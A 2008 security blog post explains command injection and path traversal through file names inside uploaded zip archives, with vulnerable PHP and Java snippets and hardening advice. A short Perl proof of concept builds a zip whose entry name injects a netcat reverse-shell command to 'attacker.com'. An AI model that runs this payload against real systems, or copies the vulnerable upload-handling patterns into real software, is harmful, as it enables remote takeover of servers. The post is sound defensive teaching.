Monday, January 21, 2008 At 5:38PM
Insecure handling of file uploads is one of my favorite issues to test for during web application security assessments. They often provide exploitable attack vectors for compromising the server, application and/or end-user. In this post, I focus on insecure handling of uploaded archive files ‘ something I’ve seen repeatedly. From my experience, most of the applications vulnerable to this flaw do a fairly good job vetting the uploaded file itself, but fail to apply the same scrutiny to the packaged files. Consider the following PHP code snippet:
Example 1:
<?
if (isFileValidArchive())
{
$files = getSortedListOfFilesFromValidatedArchive();
foreach ($files as $filename)
{
$ext = substr($filename, strrpos($filename, '.') + 1);
//only handle .doc files
if ($ext == "doc")
{
$cmd = "/usr/bin/unzip -j -o " .
$_FILES['userfile']['tmp_name']
. """ . $filename . "" -d /tmp/uploads";
exec($cmd,$results,$status);
// process results
}
}
}
?>
The $filename variable holds the name of a packaged file (such as “somefile.doc”) retrieved from an uploaded archive. As usual, blind trust of user-supplied input (i.e. the name of a file packaged within a user uploaded .zip file) creates an exploitable attack vector ‘ in this case, arbitrary command execution. Given the attacker’s operating system is likely to prevent certain special characters within a file name, how is this exploitable?
For example, the characters < > : ” / | ? * are typically forbidden by MS Windows operating systems. These same characters are often useful for manipulating command strings.
To answer the question above, zip compression libraries are a good solution because they provide functionality to create and package archives in memory, which are obviously not bound by OS file system constraints. Allowing special characters in a file name is likely not an oversight as it appears in line with the .ZIP File Format Specification. It’s also worth noting that the spec permits the use of alternate character encodings, which could be leveraged by an attacker to bypass potential blacklist filtering mechanisms. The following Perl script uses this zip compression library to exploit the command injection flaw in Example 1.
use chilkat;
# Create a .zip archive in-memory
$zip = new chilkat::CkZip();
$zip->UnlockComponent("anything for 30-day trial");
$zip->NewZip("MaliciousArchive.zip");
# Package a file with a malicious file name
$zip->AppendString("foo" & nc -c /bin/sh attacker.com 8888 & "bar.doc","junk");
$zip->WriteZipAndClose();
From a security code review perspective, the use of the PHP exec() function in Example 1 should be an immediate red flag (whether you are a security auditor or a developer). In general, shelling out to perform OS commands is never a good idea, especially if the command potentially contains user input.
A safer alternative when building applications could be native or 3rd party zip compression APIs, such as PHP Zip File Extensions or the Java package java.util.zip. However, even when these are used, developers still find a way to do it insecurely. Consider Example 2 which is a code snippet from a J2EE web application:
Example 2:
ZipFile zipFile = new ZipFile(uploadedZipFile);
try
{
Enumeration<? extends ZipEntry> zipEntries = zipFile.entries();
while (zipEntries.hasMoreElements())
{
ZipEntry zipEntry = zipEntries.nextElement();
File packagedFile = new File("/tmp/uploads", zipEntry.getName());
// Create "packagedFile" on file system and
// Copy contents of "zipEntry" into it
}
}
Again, the attacker controls everything within the zip file. Embedding characters such as ../ into the name of the packaged file, an attacker could traverse out of “/tmp/uploads” and force the application to write the packaged file into any location, such as the web root directory. A simple “cmd.jsp” file would allow the attacker to execute arbitrary commands on the web server.
How can developers harden their applications so they are not vulnerable to similar mistakes? First, ensure the application is secured with appropriate server-side controls when handling file uploads, i.e.
- maximum file size enforcement
- file type and format restrictions
- random filename assignment
- virus scanning
- storing the file into a non-web accessible directory
- etc, etc, etc
If archive files are permitted, ensure the same level of stringent validation is also applied to packaged files and, most importantly, never trust user-supplied data elements (such as file names or other file attributes) when determining where and how a file will be stored on the file system.
Author: Joe Hemler
©Aon plc 2023
